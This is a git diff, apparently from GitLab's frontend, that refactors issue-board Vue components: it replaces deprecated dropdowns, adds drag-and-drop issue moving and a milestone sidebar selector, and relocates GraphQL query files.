+ v-if="isSwimlanesHeader && list.collapsed"
ref="collapsedInfo"
aria-hidden="true"
- class="board-header-collapsed-info-icon gl-mt-2 gl-cursor-pointer gl-text-gray-500"
+ class="board-header-collapsed-info-icon gl-cursor-pointer gl-text-gray-500"
>
<gl-icon name="information" />
</span>
- <gl-tooltip v-if="isSwimlanesHeader && !list.isExpanded" :target="() => $refs.collapsedInfo">
+ <gl-tooltip v-if="isSwimlanesHeader && list.collapsed" :target="() => $refs.collapsedInfo">
<div class="gl-font-weight-bold gl-pb-2">{{ collapsedTooltipTitle }}</div>
<div v-if="list.maxIssueCount !== 0">
•
@@ -301,11 +303,10 @@ export default {
<!-- EE end -->
<div
- v-if="showBoardListAndBoardInfo"
class="issue-count-badge gl-display-inline-flex gl-pr-0 no-drag gl-text-gray-500"
:class="{
- 'gl-display-none!': !list.isExpanded && isSwimlanesHeader,
- 'gl-p-0': !list.isExpanded,
+ 'gl-display-none!': list.collapsed && isSwimlanesHeader,
+ 'gl-p-0': list.collapsed,
}"
>
<span class="gl-display-inline-flex">
@@ -331,11 +332,11 @@ export default {
>
<gl-button
v-if="isNewIssueShown"
- v-show="list.isExpanded"
+ v-show="!list.collapsed"
ref="newIssueBtn"
v-gl-tooltip.hover
- :aria-label="__('New issue')"
- :title="__('New issue')"
+ :aria-label="$options.i18n.newIssue"
+ :title="$options.i18n.newIssue"
class="issue-count-badge-add-button no-drag"
icon="plus"
@click="showNewIssueForm"
@@ -345,13 +346,13 @@ export default {
v-if="isSettingsShown"
ref="settingsBtn"
v-gl-tooltip.hover
- :aria-label="__('List settings')"
+ :aria-label="$options.i18n.listSettings"
class="no-drag js-board-settings-button"
- :title="__('List settings')"
+ :title="$options.i18n.listSettings"
icon="settings"
@click="openSidebarSettings"
/>
- <gl-tooltip :target="() => $refs.settingsBtn">{{ __('List settings') }}</gl-tooltip>
+ <gl-tooltip :target="() => $refs.settingsBtn">{{ $options.i18n.listSettings }}</gl-tooltip>
</gl-button-group>
</h3>
</header>
diff --git a/app/assets/javascripts/boards/components/board_list_new.vue b/app/assets/javascripts/boards/components/board_list_new.vue
index 396aedcc557..92a381a8f57 100644
--- a/app/assets/javascripts/boards/components/board_list_new.vue
+++ b/app/assets/javascripts/boards/components/board_list_new.vue
@@ -1,21 +1,26 @@
<script>
+import Draggable from 'vuedraggable';
import { mapActions, mapState } from 'vuex';
import { GlLoadingIcon } from '@gitlab/ui';
+import defaultSortableConfig from '~/sortable/sortable_config';
+import { sortableStart, sortableEnd } from '~/boards/mixins/sortable_default_options';
import BoardNewIssue from './board_new_issue_new.vue';
import BoardCard from './board_card.vue';
import eventHub from '../eventhub';
-import boardsStore from '../stores/boards_store';
import { sprintf, __ } from '~/locale';
-import glFeatureFlagMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
export default {
name: 'BoardList',
+ i18n: {
+ loadingIssues: __('Loading issues'),
+ loadingMoreissues: __('Loading more issues'),
+ showingAllIssues: __('Showing all issues'),
+ },
components: {
BoardCard,
BoardNewIssue,
GlLoadingIcon,
},
- mixins: [glFeatureFlagMixin()],
props: {
disabled: {
type: Boolean,
@@ -29,11 +34,15 @@ export default {
type: Array,
required: true,
},
+ canAdminList: {
+ type: Boolean,
+ required: false,
+ default: false,
+ },
},
data() {
return {
scrollOffset: 250,
- filters: boardsStore.state.filters,
showCount: false,
showIssueForm: false,
};
@@ -43,11 +52,11 @@ export default {
paginatedIssueText() {
return sprintf(__('Showing %{pageSize} of %{total} issues'), {
pageSize: this.issues.length,
- total: this.list.issuesSize,
+ total: this.list.issuesCount,
});
},
issuesSizeExceedsMax() {
- return this.list.maxIssueCount > 0 && this.list.issuesSize > this.list.maxIssueCount;
+ return this.list.maxIssueCount > 0 && this.list.issuesCount > this.list.maxIssueCount;
},
hasNextPage() {
return this.pageInfoByListId[this.list.id].hasNextPage;
@@ -55,15 +64,34 @@ export default {
loading() {
return this.listsFlags[this.list.id]?.isLoading;
},
+ loadingMore() {
+ return this.listsFlags[this.list.id]?.isLoadingMore;
+ },
+ listRef() {
+ // When list is draggable, the reference to the list needs to be accessed differently
+ return this.canAdminList ? this.$refs.list.$el : this.$refs.list;
+ },
+ showingAllIssues() {
+ return this.issues.length === this.list.issuesCount;
+ },
+ treeRootWrapper() {
+ return this.canAdminList ? Draggable : 'ul';
+ },
+ treeRootOptions() {
+ const options = {
+ ...defaultSortableConfig,
+ fallbackOnBody: false,
+ group: 'board-list',
+ tag: 'ul',
+ 'ghost-class': 'board-card-drag-active',
+ 'data-list-id': this.list.id,
+ value: this.issues,
+ };
+
+ return this.canAdminList ? options : {};
+ },
},
watch: {
- filters: {
- handler() {
- this.list.loadingMore = false;
- this.$refs.list.scrollTop = 0;
- },
- deep: true,
- },
issues() {
this.$nextTick(() => {
this.showCount = this.scrollHeight() > Math.ceil(this.listHeight());
@@ -76,35 +104,29 @@ export default {
},
mounted() {
// Scroll event on list to load more
- this.$refs.list.addEventListener('scroll', this.onScroll);
+ this.listRef.addEventListener('scroll', this.onScroll);
},
beforeDestroy() {
eventHub.$off(`toggle-issue-form-${this.list.id}`, this.toggleForm);
eventHub.$off(`scroll-board-list-${this.list.id}`, this.scrollToTop);
- this.$refs.list.removeEventListener('scroll', this.onScroll);
+ this.listRef.removeEventListener('scroll', this.onScroll);
},
methods: {
- ...mapActions(['fetchIssuesForList']),
+ ...mapActions(['fetchIssuesForList', 'moveIssue']),
listHeight() {
- return this.$refs.list.getBoundingClientRect().height;
+ return this.listRef.getBoundingClientRect().height;
},
scrollHeight() {
- return this.$refs.list.scrollHeight;
+ return this.listRef.scrollHeight;
},
scrollTop() {
- return this.$refs.list.scrollTop + this.listHeight();
+ return this.listRef.scrollTop + this.listHeight();
},
scrollToTop() {
- this.$refs.list.scrollTop = 0;
+ this.listRef.scrollTop = 0;
},
loadNextPage() {
- const loadingDone = () => {
- this.list.loadingMore = false;
- };
- this.list.loadingMore = true;
- this.fetchIssuesForList({ listId: this.list.id, fetchNext: true })
- .then(loadingDone)
- .catch(loadingDone);
+ this.fetchIssuesForList({ listId: this.list.id, fetchNext: true });
},
toggleForm() {
this.showIssueForm = !this.showIssueForm;
@@ -112,7 +134,7 @@ export default {
onScroll() {
window.requestAnimationFrame(() => {
if (
- !this.list.loadingMore &&
+ !this.loadingMore &&
this.scrollTop() > this.scrollHeight() - this.scrollOffset &&
this.hasNextPage
) {
@@ -120,32 +142,83 @@ export default {
}
});
},
+ handleDragOnStart() {
+ sortableStart();
+ },
+ handleDragOnEnd(params) {
+ sortableEnd();
+ const { newIndex, oldIndex, from, to, item } = params;
+ const { issueId, issueIid, issuePath } = item.dataset;
+ const { children } = to;
+ let moveBeforeId;
+ let moveAfterId;
+
+ const getIssueId = el => Number(el.dataset.issueId);
+
+ // If issue is being moved within the same list
+ if (from === to) {
+ if (newIndex > oldIndex && children.length > 1) {
+ // If issue is being moved down we look for the issue that ends up before
+ moveBeforeId = getIssueId(children[newIndex]);
+ } else if (newIndex < oldIndex && children.length > 1) {
+ // If issue is being moved up we look for the issue that ends up after
+ moveAfterId = getIssueId(children[newIndex]);
+ } else {
+ // If issue remains in the same list at the same position we do nothing
+ return;
+ }
+ } else {
+ // We look for the issue that ends up before the moved issue if it exists
+ if (children[newIndex - 1]) {
+ moveBeforeId = getIssueId(children[newIndex - 1]);
+ }
+ // We look for the issue that ends up after the moved issue if it exists
+ if (children[newIndex]) {
+ moveAfterId = getIssueId(children[newIndex]);
+ }
+ }
+
+ this.moveIssue({
+ issueId,
+ issueIid,
+ issuePath,
+ fromListId: from.dataset.listId,
+ toListId: to.dataset.listId,
+ moveBeforeId,
+ moveAfterId,
+ });
+ },
},
};
</script>
<template>
<div
- v-show="list.isExpanded"
+ v-show="!list.collapsed"
class="board-list-component gl-relative gl-h-full gl-display-flex gl-flex-direction-column"
data-qa-selector="board_list_cards_area"
>
<div
v-if="loading"
class="gl-mt-4 gl-text-center"
- :aria-label="__('Loading issues')"
+ :aria-label="$options.i18n.loadingIssues"
data-testid="board_list_loading"
>
<gl-loading-icon />
</div>
- <board-new-issue v-if="list.type !== 'closed' && showIssueForm" :list="list" />
- <ul
+ <board-new-issue v-if="list.listType !== 'closed' && showIssueForm" :list="list" />
+ <component
+ :is="treeRootWrapper"
v-show="!loading"
ref="list"
+ v-bind="treeRootOptions"
:data-board="list.id"
- :data-board-type="list.type"
+ :data-board-type="list.listType"
:class="{ 'bg-danger-100': issuesSizeExceedsMax }"
class="board-list gl-w-full gl-h-full gl-list-style-none gl-mb-0 gl-p-2 js-board-list"
+ data-testid="tree-root-wrapper"
+ @start="handleDragOnStart"
+ @end="handleDragOnEnd"
>
<board-card
v-for="(issue, index) in issues"
@@ -157,10 +230,10 @@ export default {
:disabled="disabled"
/>
<li v-if="showCount" class="board-list-count gl-text-center" data-issue-id="-1">
- <gl-loading-icon v-show="list.loadingMore" label="Loading more issues" />
- <span v-if="issues.length === list.issuesSize">{{ __('Showing all issues') }}</span>
+ <gl-loading-icon v-if="loadingMore" :label="$options.i18n.loadingMoreissues" />
+ <span v-if="showingAllIssues">{{ $options.i18n.showingAllIssues }}</span>
<span v-else>{{ paginatedIssueText }}</span>
</li>
- </ul>
+ </component>
</div>
</template>
diff --git a/app/assets/javascripts/boards/components/board_promotion_state.js b/app/assets/javascripts/boards/components/board_promotion_state.js
deleted file mode 100644
index ff8b4c56321..00000000000
--- a/app/assets/javascripts/boards/components/board_promotion_state.js
+++ /dev/null
@@ -1 +0,0 @@
-export default {};
diff --git a/app/assets/javascripts/boards/components/board_settings_sidebar.vue b/app/assets/javascripts/boards/components/board_settings_sidebar.vue
index 80070b25bd0..60db8fefe82 100644
--- a/app/assets/javascripts/boards/components/board_settings_sidebar.vue
+++ b/app/assets/javascripts/boards/components/board_settings_sidebar.vue
@@ -53,7 +53,7 @@ export default {
return this.activeList.label;
},
boardListType() {
- return this.activeList.type || null;
+ return this.activeList.type || this.activeList.listType || null;
},
listTypeTitle() {
return this.$options.labelListText;
diff --git a/app/assets/javascripts/boards/components/boards_selector.vue b/app/assets/javascripts/boards/components/boards_selector.vue
index 0b079c78209..4f23c38d0f7 100644
--- a/app/assets/javascripts/boards/components/boards_selector.vue
+++ b/app/assets/javascripts/boards/components/boards_selector.vue
@@ -3,17 +3,18 @@ import { throttle } from 'lodash';
import {
GlLoadingIcon,
GlSearchBoxByType,
- GlDeprecatedDropdown,
- GlDeprecatedDropdownDivider,
- GlDeprecatedDropdownHeader,
- GlDeprecatedDropdownItem,
+ GlDropdown,
+ GlDropdownDivider,
+ GlDropdownSectionHeader,
+ GlDropdownItem,
+ GlModalDirective,
} from '@gitlab/ui';
import httpStatusCodes from '~/lib/utils/http_status';
import { getIdFromGraphQLId } from '~/graphql_shared/utils';
-import projectQuery from '../queries/project_boards.query.graphql';
-import groupQuery from '../queries/group_boards.query.graphql';
+import projectQuery from '../graphql/project_boards.query.graphql';
+import groupQuery from '../graphql/group_boards.query.graphql';
import boardsStore from '../stores/boards_store';
import BoardForm from './board_form.vue';
@@ -26,10 +27,13 @@ export default {
BoardForm,
GlLoadingIcon,
GlSearchBoxByType,
- GlDeprecatedDropdown,
- GlDeprecatedDropdownDivider,
- GlDeprecatedDropdownHeader,
- GlDeprecatedDropdownItem,
+ GlDropdown,
+ GlDropdownDivider,
+ GlDropdownSectionHeader,
+ GlDropdownItem,
+ },
+ directives: {
+ GlModalDirective,
},
props: {
currentBoard: {
@@ -108,7 +112,7 @@ export default {
return this.groupId ? 'group' : 'project';
},
loading() {
- return this.loadingRecentBoards && this.loadingBoards;
+ return this.loadingRecentBoards || Boolean(this.loadingBoards);
},
currentPage() {
return this.state.currentPage;
@@ -235,22 +239,17 @@ export default {
<template>
<div class="boards-switcher js-boards-selector gl-mr-3">
<span class="boards-selector-wrapper js-boards-selector-wrapper">
- <gl-deprecated-dropdown
+ <gl-dropdown
data-qa-selector="boards_dropdown"
toggle-class="dropdown-menu-toggle js-dropdown-toggle"
menu-class="flex-column dropdown-extended-height"
:text="board.name"
@show="loadBoards"
>
- <div>
- <div class="dropdown-title mb-0" @mousedown.prevent>
- {{ s__('IssueBoards|Switch board') }}
- </div>
- </div>
-
- <gl-deprecated-dropdown-header class="mt-0">
- <gl-search-box-by-type ref="searchBox" v-model="filterTerm" />
- </gl-deprecated-dropdown-header>
+ <p class="gl-new-dropdown-header-top" @mousedown.prevent>
+ {{ s__('IssueBoards|Switch board') }}
+ </p>
+ <gl-search-box-by-type ref="searchBox" v-model="filterTerm" class="m-2" />
<div
v-if="!loading"
@@ -259,49 +258,50 @@ export default {
class="dropdown-content flex-fill"
@scroll.passive="throttledSetScrollFade"
>
- <gl-deprecated-dropdown-item
+ <gl-dropdown-item
v-show="filteredBoards.length === 0"
class="gl-pointer-events-none text-secondary"
>
{{ s__('IssueBoards|No matching boards found') }}
- </gl-deprecated-dropdown-item>
+ </gl-dropdown-item>
- <h6 v-if="showRecentSection" class="dropdown-bold-header my-0">
+ <gl-dropdown-section-header v-if="showRecentSection">
{{ __('Recent') }}
- </h6>
+ </gl-dropdown-section-header>
<template v-if="showRecentSection">
- <gl-deprecated-dropdown-item
+ <gl-dropdown-item
v-for="recentBoard in recentBoards"
:key="`recent-${recentBoard.id}`"
class="js-dropdown-item"
:href="`${boardBaseUrl}/${recentBoard.id}`"
>
{{ recentBoard.name }}
- </gl-deprecated-dropdown-item>
+ </gl-dropdown-item>
</template>
- <hr v-if="showRecentSection" class="my-1" />
+ <gl-dropdown-divider v-if="showRecentSection" />
- <h6 v-if="showRecentSection" class="dropdown-bold-header my-0">
+ <gl-dropdown-section-header v-if="showRecentSection">
{{ __('All') }}
- </h6>
+ </gl-dropdown-section-header>
- <gl-deprecated-dropdown-item
+ <gl-dropdown-item
v-for="otherBoard in filteredBoards"
:key="otherBoard.id"
class="js-dropdown-item"
:href="`${boardBaseUrl}/${otherBoard.id}`"
>
{{ otherBoard.name }}
- </gl-deprecated-dropdown-item>
- <gl-deprecated-dropdown-item v-if="hasMissingBoards" class="small unclickable">
+ </gl-dropdown-item>
+
+ <gl-dropdown-item v-if="hasMissingBoards" class="no-pointer-events">
{{
s__(
'IssueBoards|Some of your boards are hidden, activate a license to see them again.',
)
}}
- </gl-deprecated-dropdown-item>
+ </gl-dropdown-item>
</div>
<div
@@ -313,25 +313,27 @@ export default {
<gl-loading-icon v-if="loading" />
<div v-if="canAdminBoard">
- <gl-deprecated-dropdown-divider />
+ <gl-dropdown-divider />
- <gl-deprecated-dropdown-item
+ <gl-dropdown-item
v-if="multipleIssueBoardsAvailable"
+ v-gl-modal-directive="'board-config-modal'"
data-qa-selector="create_new_board_button"
@click.prevent="showPage('new')"
>
{{ s__('IssueBoards|Create new board') }}
- </gl-deprecated-dropdown-item>
+ </gl-dropdown-item>
- <gl-deprecated-dropdown-item
+ <gl-dropdown-item
v-if="showDelete"
+ v-gl-modal-directive="'board-config-modal'"
class="text-danger js-delete-board"
@click.prevent="showPage('delete')"
>
{{ s__('IssueBoards|Delete board') }}
- </gl-deprecated-dropdown-item>
+ </gl-dropdown-item>
</div>
- </gl-deprecated-dropdown>
+ </gl-dropdown>
<board-form
v-if="currentPage"
@@ -343,6 +345,7 @@ export default {
:scoped-issue-board-feature-enabled="scopedIssueBoardFeatureEnabled"
:weights="weights"
:enable-scoped-labels="enabledScopedLabels"
+ :current-board="currentBoard"
/>
</span>
</div>
diff --git a/app/assets/javascripts/boards/components/issue_card_inner.vue b/app/assets/javascripts/boards/components/issue_card_inner.vue
index 45ce1e51489..ddd20ff281c 100644
--- a/app/assets/javascripts/boards/components/issue_card_inner.vue
+++ b/app/assets/javascripts/boards/components/issue_card_inner.vue
@@ -10,6 +10,7 @@ import IssueDueDate from './issue_due_date.vue';
import IssueTimeEstimate from './issue_time_estimate.vue';
import boardsStore from '../stores/boards_store';
import { isScopedLabel } from '~/lib/utils/common_utils';
+import { ListType } from '../constants';
export default {
components: {
@@ -122,7 +123,13 @@ export default {
return true;
},
isNonListLabel(label) {
- return label.id && !(this.list.type === 'label' && this.list.title === label.title);
+ return (
+ label.id &&
+ !(
+ (this.list.type || this.list.listType) === ListType.label &&
+ this.list.title === label.title
+ )
+ );
},
filterByLabel(label) {
if (!this.updateFilters) return;
@@ -158,9 +165,13 @@ export default {
class="confidential-icon gl-mr-2"
:aria-label="__('Confidential')"
/>
- <a :href="issue.path" :title="issue.title" class="js-no-trigger" @mousemove.stop>{{
- issue.title
- }}</a>
+ <a
+ :href="issue.path || issue.webUrl || ''"
+ :title="issue.title"
+ class="js-no-trigger"
+ @mousemove.stop
+ >{{ issue.title }}</a
+ >
</h4>
</div>
<div v-if="showLabelFooter" class="board-card-labels gl-mt-2 gl-display-flex gl-flex-wrap">
@@ -196,7 +207,11 @@ export default {
#{{ issue.iid }}
</span>
<span class="board-info-items gl-mt-3 gl-display-inline-block">
- <issue-due-date v-if="issue.dueDate" :date="issue.dueDate" :closed="issue.closed" />
+ <issue-due-date
+ v-if="issue.dueDate"
+ :date="issue.dueDate"
+ :closed="issue.closed || Boolean(issue.closedAt)"
+ />
<issue-time-estimate v-if="issue.timeEstimate" :estimate="issue.timeEstimate" />
<issue-card-weight
v-if="validIssueWeight"
diff --git a/app/assets/javascripts/boards/components/new_list_dropdown.js b/app/assets/javascripts/boards/components/new_list_dropdown.js
index 47eee5306da..d1011c24977 100644
--- a/app/assets/javascripts/boards/components/new_list_dropdown.js
+++ b/app/assets/javascripts/boards/components/new_list_dropdown.js
@@ -15,6 +15,7 @@ function shouldCreateListGraphQL(label) {
return store.getters.shouldUseGraphQL && !store.getters.getListByLabelId(fullLabelId(label));
}
+// eslint-disable-next-line @gitlab/no-global-event-off
$(document)
.off('created.label')
.on('created.label', (e, label, addNewList) => {
diff --git a/app/assets/javascripts/boards/components/project_select.vue b/app/assets/javascripts/boards/components/project_select.vue
index f90fe582566..9c90938fc52 100644
--- a/app/assets/javascripts/boards/components/project_select.vue
+++ b/app/assets/javascripts/boards/components/project_select.vue
@@ -7,6 +7,7 @@ import eventHub from '../eventhub';
import Api from '../../api';
import { featureAccessLevel } from '~/pages/projects/shared/permissions/constants';
import initDeprecatedJQueryDropdown from '~/deprecated_jquery_dropdown';
+import { ListType } from '../constants';
export default {
name: 'BoardProjectSelect',
@@ -53,7 +54,7 @@ export default {
this.loading = true;
const additionalAttrs = {};
- if (this.list.type && this.list.type !== 'backlog') {
+ if ((this.list.type || this.list.listType) !== ListType.backlog) {
additionalAttrs.min_access_level = featureAccessLevel.EVERYONE;
}
diff --git a/app/assets/javascripts/boards/components/sidebar/board_editable_item.vue b/app/assets/javascripts/boards/components/sidebar/board_editable_item.vue
index 5fb7a9b210c..ce267be6d45 100644
--- a/app/assets/javascripts/boards/components/sidebar/board_editable_item.vue
+++ b/app/assets/javascripts/boards/components/sidebar/board_editable_item.vue
@@ -50,6 +50,13 @@ export default {
}
window.removeEventListener('click', this.collapseWhenOffClick);
},
+ toggle({ emitEvent = true } = {}) {
+ if (this.edit) {
+ this.collapse({ emitEvent });
+ } else {
+ this.expand();
+ }
+ },
},
};
</script>
@@ -64,18 +71,18 @@ export default {
<gl-button
v-if="canUpdate"
variant="link"
- class="gl-text-gray-900!"
+ class="gl-text-gray-900! js-sidebar-dropdown-toggle"
data-testid="edit-button"
- @click="expand()"
+ @click="toggle"
>
{{ __('Edit') }}
</gl-button>
</div>
- <div v-show="!edit" class="gl-text-gray-400" data-testid="collapsed-content">
+ <div v-show="!edit" class="gl-text-gray-500" data-testid="collapsed-content">
<slot name="collapsed">{{ __('None') }}</slot>
</div>
<div v-show="edit" data-testid="expanded-content">
- <slot></slot>
+ <slot :edit="edit"></slot>
</div>
</div>
</template>
diff --git a/app/assets/javascripts/boards/components/sidebar/board_sidebar_due_date.vue b/app/assets/javascripts/boards/components/sidebar/board_sidebar_due_date.vue
index 6935ead2706..904ceaed1b3 100644
--- a/app/assets/javascripts/boards/components/sidebar/board_sidebar_due_date.vue
+++ b/app/assets/javascripts/boards/components/sidebar/board_sidebar_due_date.vue
@@ -79,7 +79,7 @@ export default {
<span class="gl-mx-2">-</span>
<gl-button
variant="link"
- class="gl-text-gray-400!"
+ class="gl-text-gray-500!"
data-testid="reset-button"
:disabled="loading"
@click="setDueDate(null)"
diff --git a/app/assets/javascripts/boards/components/sidebar/board_sidebar_labels_select.vue b/app/assets/javascripts/boards/components/sidebar/board_sidebar_labels_select.vue
index 9d537a4ef2c..6a407bd6ba6 100644
--- a/app/assets/javascripts/boards/components/sidebar/board_sidebar_labels_select.vue
+++ b/app/assets/javascripts/boards/components/sidebar/board_sidebar_labels_select.vue
@@ -92,7 +92,7 @@ export default {
@close="removeLabel(label.id)"
/>
</template>
- <template>
+ <template #default="{ edit }">
<labels-select
ref="labelsSelect"
:allow-label-edit="false"
@@ -105,6 +105,7 @@ export default {
:labels-filter-base-path="labelsFilterBasePath"
:labels-list-title="__('Select label')"
:dropdown-button-text="__('Choose labels')"
+ :is-editing="edit"
variant="embedded"
class="gl-display-block labels gl-w-full"
@updateSelectedLabels="setLabels"
diff --git a/app/assets/javascripts/boards/components/sidebar/board_sidebar_milestone_select.vue b/app/assets/javascripts/boards/components/sidebar/board_sidebar_milestone_select.vue
new file mode 100644
index 00000000000..78c3f8acc62
--- /dev/null
+++ b/app/assets/javascripts/boards/components/sidebar/board_sidebar_milestone_select.vue
@@ -0,0 +1,161 @@
+<script>
+import { mapGetters, mapActions } from 'vuex';
+import {
+ GlDropdown,
+ GlDropdownItem,
+ GlDropdownText,
+ GlSearchBoxByType,
+ GlDropdownDivider,
+ GlLoadingIcon,
+} from '@gitlab/ui';
+import { fetchPolicies } from '~/lib/graphql';
+import BoardEditableItem from '~/boards/components/sidebar/board_editable_item.vue';
+import groupMilestones from '../../graphql/group_milestones.query.graphql';
+import createFlash from '~/flash';
+import { __, s__ } from '~/locale';
+
+export default {
+ components: {
+ BoardEditableItem,
+ GlDropdown,
+ GlLoadingIcon,
+ GlDropdownItem,
+ GlDropdownText,
+ GlSearchBoxByType,
+ GlDropdownDivider,
+ },
+ data() {
+ return {
+ milestones: [],
+ searchTitle: '',
+ loading: false,
+ edit: false,
+ };
+ },
+ apollo: {
+ milestones: {
+ fetchPolicy: fetchPolicies.CACHE_AND_NETWORK,
+ query: groupMilestones,
+ debounce: 250,
+ skip() {
+ return !this.edit;
+ },
+ variables() {
+ return {
+ fullPath: this.groupFullPath,
+ searchTitle: this.searchTitle,
+ state: 'active',
+ includeDescendants: true,
+ };
+ },
+ update(data) {
+ const edges = data?.group?.milestones?.edges ?? [];
+ return edges.map(item => item.node);
+ },
+ error() {
+ createFlash({ message: this.$options.i18n.fetchMilestonesError });
+ },
+ },
+ },
+ computed: {
+ ...mapGetters({ issue: 'activeIssue' }),
+ hasMilestone() {
+ return this.issue.milestone !== null;
+ },
+ groupFullPath() {
+ const { referencePath = '' } = this.issue;
+ return referencePath.slice(0, referencePath.indexOf('/'));
+ },
+ projectPath() {
+ const { referencePath = '' } = this.issue;
+ return referencePath.slice(0, referencePath.indexOf('#'));
+ },
+ dropdownText() {
+ return this.issue.milestone?.title ?? this.$options.i18n.noMilestone;
+ },
+ },
+ mounted() {
+ this.$root.$on('bv::dropdown::hide', () => {
+ this.$refs.sidebarItem.collapse();
+ });
+ },
+ methods: {
+ ...mapActions(['setActiveIssueMilestone']),
+ handleOpen() {
+ this.edit = true;
+ this.$refs.dropdown.show();
+ },
+ async setMilestone(milestoneId) {
+ this.loading = true;
+ this.searchTitle = '';
+ this.$refs.sidebarItem.collapse();
+
+ try {
+ const input = { milestoneId, projectPath: this.projectPath };
+ await this.setActiveIssueMilestone(input);
+ } catch (e) {
+ createFlash({ message: this.$options.i18n.updateMilestoneError });
+ } finally {
+ this.loading = false;
+ }
+ },
+ },
+ i18n: {
+ milestone: __('Milestone'),
+ noMilestone: __('No milestone'),
+ assignMilestone: __('Assign milestone'),
+ noMilestonesFound: s__('Milestones|No milestones found'),
+ fetchMilestonesError: __('There was a problem fetching milestones.'),
+ updateMilestoneError: __('An error occurred while updating the milestone.'),
+ },
+};
+</script>
+
+<template>
+ <board-editable-item
+ ref="sidebarItem"
+ :title="$options.i18n.milestone"
+ :loading="loading"
+ @open="handleOpen()"
+ @close="edit = false"
+ >
+ <template v-if="hasMilestone" #collapsed>
+ <strong class="gl-text-gray-900">{{ issue.milestone.title }}</strong>
+ </template>
+ <template>
+ <gl-dropdown
+ ref="dropdown"
+ :text="dropdownText"
+ :header-text="$options.i18n.assignMilestone"
+ block
+ >
+ <gl-search-box-by-type ref="search" v-model.trim="searchTitle" class="gl-m-3" />
+ <gl-dropdown-item
+ data-testid="no-milestone-item"
+ :is-check-item="true"
+ :is-checked="!issue.milestone"
+ @click="setMilestone(null)"
+ >
+ {{ $options.i18n.noMilestone }}
+ </gl-dropdown-item>
+ <gl-dropdown-divider />
+ <gl-loading-icon v-if="$apollo.loading" class="gl-py-4" />
+ <template v-else-if="milestones.length > 0">
+ <gl-dropdown-item
+ v-for="milestone in milestones"
+ :key="milestone.id"
+ :is-check-item="true"
+ :is-checked="issue.milestone && milestone.id === issue.milestone.id"
+ data-testid="milestone-item"
+ @click="setMilestone(milestone.id)"
+ >
+ {{ milestone.title }}
+ </gl-dropdown-item>
+ </template>
+ <gl-dropdown-text v-else data-testid="no-milestones-found">
+ {{ $options.i18n.noMilestonesFound }}
+ </gl-dropdown-text>
+ </gl-dropdown>
+ </template>
+ </board-editable-item>
+</template>
diff --git a/app/assets/javascripts/boards/constants.js b/app/assets/javascripts/boards/constants.js
index 49cb560594c..9264fac5eda 100644
--- a/app/assets/javascripts/boards/constants.js
+++ b/app/assets/javascripts/boards/constants.js
@@ -9,8 +9,6 @@ export const ListType = {
backlog: 'backlog',
closed: 'closed',
label: 'label',
- promotion: 'promotion',
- blank: 'blank',
};
export const inactiveId = 0;
@@ -18,11 +16,7 @@ export const inactiveId = 0;
export const ISSUABLE = 'issuable';
export const LIST = 'list';
-/* eslint-disable-next-line @gitlab/require-i18n-strings */
-export const DEFAULT_LABELS = ['to do', 'doing'];
-
export default {
BoardType,
ListType,
- DEFAULT_LABELS,
};
diff --git a/app/assets/javascripts/boards/ee_functions.js b/app/assets/javascripts/boards/ee_functions.js
index 419a640d5c5..b6b34556663 100644
--- a/app/assets/javascripts/boards/ee_functions.js
+++ b/app/assets/javascripts/boards/ee_functions.js
@@ -1,5 +1,3 @@
-export const setPromotionState = () => {};
-
export const setWeightFetchingState = () => {};
export const setEpicFetchingState = () => {};
diff --git a/app/assets/javascripts/boards/filtered_search_boards.js b/app/assets/javascripts/boards/filtered_search_boards.js
index 4fa78ecd5a4..1667dcc9f2e 100644
--- a/app/assets/javascripts/boards/filtered_search_boards.js
+++ b/app/assets/javascripts/boards/filtered_search_boards.js
@@ -1,7 +1,10 @@
import IssuableFilteredSearchTokenKeys from 'ee_else_ce/filtered_search/issuable_filtered_search_token_keys';
import FilteredSearchManager from 'ee_else_ce/filtered_search/filtered_search_manager';
+import { transformBoardConfig } from 'ee_else_ce/boards/boards_util';
import FilteredSearchContainer from '../filtered_search/container';
import boardsStore from './stores/boards_store';
+import vuexstore from './stores';
+import { updateHistory } from '~/lib/utils/url_utility';
export default class FilteredSearchBoards extends FilteredSearchManager {
constructor(store, updateUrl = false, cantEdit = []) {
@@ -22,18 +25,28 @@ export default class FilteredSearchBoards extends FilteredSearchManager {
this.isHandledAsync = true;
this.cantEdit = cantEdit.filter(i => typeof i === 'string');
this.cantEditWithValue = cantEdit.filter(i => typeof i === 'object');
+
+ if (vuexstore.getters.shouldUseGraphQL && vuexstore.state.boardConfig) {
+ const boardConfigPath = transformBoardConfig(vuexstore.state.boardConfig);
+ if (boardConfigPath !== '') {
+ const filterPath = window.location.search ? `${window.location.search}&` : '?';
+ updateHistory({
+ url: `${filterPath}${transformBoardConfig(vuexstore.state.boardConfig)}`,
+ });
+ }
+ }
}
updateObject(path) {
const groupByParam = new URLSearchParams(window.location.search).get('group_by');
this.store.path = `${path.substr(1)}${groupByParam ? `&group_by=${groupByParam}` : ''}`;
- if (gon.features.boardsWithSwimlanes || gon.features.graphqlBoardLists) {
- boardsStore.updateFiltersUrl();
- boardsStore.performSearch();
- }
-
- if (this.updateUrl) {
+ if (vuexstore.getters.shouldUseGraphQL) {
+ updateHistory({
+ url: `?${path.substr(1)}${groupByParam ? `&group_by=${groupByParam}` : ''}`,
+ });
+ vuexstore.dispatch('performSearch');
+ } else if (this.updateUrl) {
boardsStore.updateFiltersUrl();
}
}
diff --git a/app/assets/javascripts/boards/queries/board.fragment.graphql b/app/assets/javascripts/boards/graphql/board.fragment.graphql
index 872a4c4afbc..872a4c4afbc 100644
--- a/app/assets/javascripts/boards/queries/board.fragment.graphql
+++ b/app/assets/javascripts/boards/graphql/board.fragment.graphql
diff --git a/app/assets/javascripts/boards/queries/board.mutation.graphql b/app/assets/javascripts/boards/graphql/board.mutation.graphql
index ef2b81a7939..ef2b81a7939 100644
--- a/app/assets/javascripts/boards/queries/board.mutation.graphql
+++ b/app/assets/javascripts/boards/graphql/board.mutation.graphql
diff --git a/app/assets/javascripts/boards/queries/board_labels.query.graphql b/app/assets/javascripts/boards/graphql/board_labels.query.graphql
index 42a94419a97..42a94419a97 100644
--- a/app/assets/javascripts/boards/queries/board_labels.query.graphql
+++ b/app/assets/javascripts/boards/graphql/board_labels.query.graphql
diff --git a/app/assets/javascripts/boards/queries/board_list.fragment.graphql b/app/assets/javascripts/boards/graphql/board_list.fragment.graphql
index bbf3314377e..bbf3314377e 100644
--- a/app/assets/javascripts/boards/queries/board_list.fragment.graphql
+++ b/app/assets/javascripts/boards/graphql/board_list.fragment.graphql
